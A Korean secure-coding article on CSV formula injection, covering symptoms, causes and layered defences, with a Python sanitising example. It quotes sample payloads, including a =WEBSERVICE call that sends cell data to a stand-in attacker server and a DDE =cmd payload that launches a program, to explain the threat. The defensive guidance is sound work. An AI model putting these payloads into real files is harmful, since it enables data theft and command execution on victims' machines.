1월 23, 2026

증상 확인: 데이터가 계산되거나 외부 연결이 시도되나요?

CSV 파일을 업로드하여 시스템에 데이터를 입력할 때. 예상치 못한 동작이 발생한다면 수식 인젝션을 의심해야 합니다. 가장 흔한 증상은 Excel, LibreOffice Calc, Google Sheets 등의 스프레드시트 프로그램에서 CSV 파일을 열었을 때 나타납니다. 파일을 열자마자 특정 셀의 내용이 =2+5와 같은 수식으로 해석되어 7이라는 결과값으로 표시될 수 있습니다. 더 위험한 경우는 =HYPERLINK("http://malicious-site.com", "Click here")=WEBSERVICE("http://attacker-server.com/steal?data="&A1)과 같은 함수가 실행되어, 사용자의 클릭을 유도하거나 외부 서버로 데이터를 자동으로 전송하는 행위입니다. 업로드 후 백엔드 시스템에서 CSV를 파싱할 때도, 문자열로 처리해야 할 데이터가 평가(Eval) 함수 등으로 실행되어 시스템 명령어를 수행할 위험이 있습니다.

원인 분석: 데이터와 코드의 경계가 무너질 때

이 취약점의 근본 원인은 신뢰할 수 없는 사용자 입력에 대한 검증 부재와 데이터 컨텍스트와 코드 컨텍스트의 혼동에 있습니다, csv는 본질적으로 쉼표로 구분된 평문 텍스트입니다. 다만 Excel과 같은 많은 애플리케이션은 셀의 내용이 등호(=), 더하기 기호(+), 빼기 기호(-), 골뱅이(@)로 시작할 경우 이를 수식이나 특수 명령으로 자동 해석하는 기능을 가지고 있습니다. 공격자는 이름 필드에 =cmd|' /C calc'!A0와 같은 값을 입력하여, 파일이 열릴 때 윈도우 계산기(calc.exe)를 실행하도록 할 수 있습니다. 백엔드에서 CSV 파싱 로직이 PHP의 eval()이나 유사한 동적 평가 함수를 사용한다면, 이는 직접적인 원격 코드 실행(RCE) 취약점으로 이어집니다.

해결 방법 1: 업로드 시 필터링과 시각적 처리

가장 즉각적이고 기본적인 방어선을 구축하는 방법입니다. 클라이언트와 서버 양측에서 입력값을 정제해야 합니다.

  1. 접두어 필터링 (Sanitization): 서버측 업로드 처리 로직에서 모든 CSV 데이터 필드를 순회하며, 필드 값의 첫 문자가 =, +, -, @, |, \t(탭), \r(캐리지 리턴)인 경우를 검출합니다. 검출된 값 앞에 단일 따옴표(')를 강제로 추가합니다. 특히, =HYPERLINK(...)'=HYPERLINK(...)로 변경됩니다. 스프레드시트 프로그램은 단일 따옴표로 시작하는 셀 내용을 수식이 아닌 일반 텍스트로 처리합니다.
  2. CSV 포맷팅 강화: CSV를 생성할 때 모든 필드 값을 큰따옴표(")로 감쌉니다. 예: "=1+1","John Doe". 이는 대부분의 파서가 필드 내의 특수문자를 문자열의 일부로 인식하게 합니다. 동시에 필드 내부에 존재하는 큰따옴표는 이중으로 처리("")하여 이스케이프해야 합니다.
  3. 파일 타입 검증: 파일 확장자(.csv)만 믿지 마십시오. 파일의 MIME 타입(text/csv 또는 application/octet-stream)을 검사하고, 파일 내용의 처음 몇 바이트를 확인하여 예상치 못한 바이너리 데이터나 스크립트 태그가 포함되었는지 확인하는 것이 좋습니다.

주의사항: 클라이언트측(자바스크립트) 검증만으로는 절대 충분하지 않습니다. 공격자는 브라우저 도구를 이용해 검증 로직을 우회하거나, cURL, Postman 같은 도구로 직접 서버에 요청을 보낼 수 있습니다, 모든 검증과 필터링의 최종 책임은 반드시 서버측 로직에 있어야 합니다.

해결 방법 2: 안전한 파싱 및 데이터 처리 구현

업로드된 CSV 데이터를 애플리케이션 메모리로 읽어들이는 과정 자체를 안전하게 만드는 것이 핵심이며 이는 백엔드 개발자의 책임 영역에 해당합니다. 직접 정규표현식으로 파싱하는 대신 검증된 전용 라이브러리를 사용하여 필드 구분자와 따옴표 처리를 안전하게 관리해야 합니다. 공공 정보시스템의 보안성을 검토하기 위해 행정안전부가 발간한 소프트웨어 개발보안 가이드를 분석한 결과, 외부 입력값에 대한 무결성 검사 수행과 안전한 API 활용이 시큐어 코딩의 핵심 원칙으로 명시되어 있습니다. 파싱을 통해 확보한 문자열 데이터는 애플리케이션에서 사용하기 전 나이는 정수형으로, 날짜는 날짜 객체로 명시적 타입 변환을 거쳐야 하며 이 과정에서 악성 수식 문자열은 자연스럽게 예외 처리됩니다. 또한 CSV 데이터 처리 경로상에서 eval()이나 exec() 같은 동적 평가 함수의 사용을 엄격히 금지하고 정적 코드 분석 도구를 통해 보안 결함 유무를 정기적으로 점검하는 절차가 수반되어야 합니다.

Python 예시: 안전한 파싱과 필터링 결합

다음은 Python에서 csv 모듈을 사용하며, 동시에 접두어 필터링을 적용하는 실용적인 예시 코드입니다.


import csv

def safe_csv_reader(uploaded_file):
    safe_rows = []
    reader = csv.reader(uploaded_file)
    for row in reader:
        safe_row = []
        for cell in row:
            # 수식 인젝션 가능성 있는 접두어 필터링
            if cell.startswith(('=', '+', '-', '@', '|', '\t', '\r')):
                cell = "'" + cell
            safe_row.append(cell)
        safe_rows.append(safe_row)
    return safe_rows

해결 방법 3: 아키텍처적 차원의 보안 강화

고위험 업로드 기능을 구현할 때는 파일 파싱과 처리 과정을 메인 애플리케이션 서버와 분리된 전용 샌드박스 컨테이너나 격리된 마이크로서비스에서 수행하도록 설계합니다. 이러한 독립 환경은 외부 네트워크 연결이 제한되고 최소 권한 원칙이 적용되어야 침해 사고 발생 시 핵심 인프라로의 피해 전이를 억제할 수 있습니다. 특히 분리된 데이터 처리 환경을 지향하는 에이지옵저버토리 운영 구조 내에서 보안 로직이 작동하듯, 정보 다운로드나 템플릿 업로드 시에는 수식 실행 위협이 낮은 데이터 직렬화 형식을 활용하는 방안을 고려해야 합니다. JSON 포맷은 구조상 엑셀의 자동 계산 기능을 트리거하지 않으며, 특정 숫자 서식 보존이 필수적이라면 OpenDocument Spreadsheet 구조를 표준 규격으로 채택하는 것도 효과적입니다. 최종적으로 수집된 데이터를 웹상에 가시화할 때는 엔티티 변환과 같은 출력 인코딩을 철저히 수행하여 CSV 인젝션이 크로스사이트 스크립팅 취약점으로 확장되는 기술적 위험을 원천적으로 배제합니다.

주의사항 및 점검 리스트

다음 항목을 점검하여 방어 체계가 완전한지 확인하십시오.

  • 서버측 검증 확인: 클라이언트 검증은 사용자 편의를 위한 것일 뿐, 보안 기능으로 간주하지 마십시오.
  • 오류 메시지 관리: 필터링이나 파싱 실패 시 시스템 내부 경로, 라이브러리 버전 등이 포함된 상세 오류 메시지를 사용자에게 노출해서는 안 됩니다. 일반화된 메시지로 대체하십시오.
  • 로그 기록: 접두어 필터링에 걸리거나, 비정상적인 수식 패턴이 감지된 업로드 시도는 반드시 보안 로그에 기록하십시오. 이는 공격 시도를 탐지하고 추적하는 데 필수적입니다.
  • 직원 보안 인식 교육: 내부 직원이 외부에서 받은 CSV 파일을 회사 시스템에서 함부로 열지 않도록 교육합니다. 일례로 이메일 첨부 파일은 위험성이 높습니다.

전문가 팁: Defense in Depth (다중 방어) 하나의 방법(예: 접두어 필터링)에만 의존하면 안 됩니다. 필터링 로직의 결함이나 새로운 공격 기법(예: DDE 인젝션)을 뚫을 수 있습니다. 결과적으로 Method 1(필터링) + Method 2(안전한 파싱) + Method 3(격리)를 조합하여 다중 방어 계층을 구성하는 것이 현명합니다. 예를 들어, 업로드 시 필터링을 적용하고, 전용 파서로 안전하게 읽은 후, 최종 데이터를 데이터베이스에 저장하기 전에 애플리케이션 로직 레벨에서 한 번 더 데이터 타입과 범위를 검증하십시오. 게다가 정기적으로 OWASP Cheat Sheet Series의 “CSV Injection” 항목을 참고하여 최신 위협과 대응책을 점검하십시오.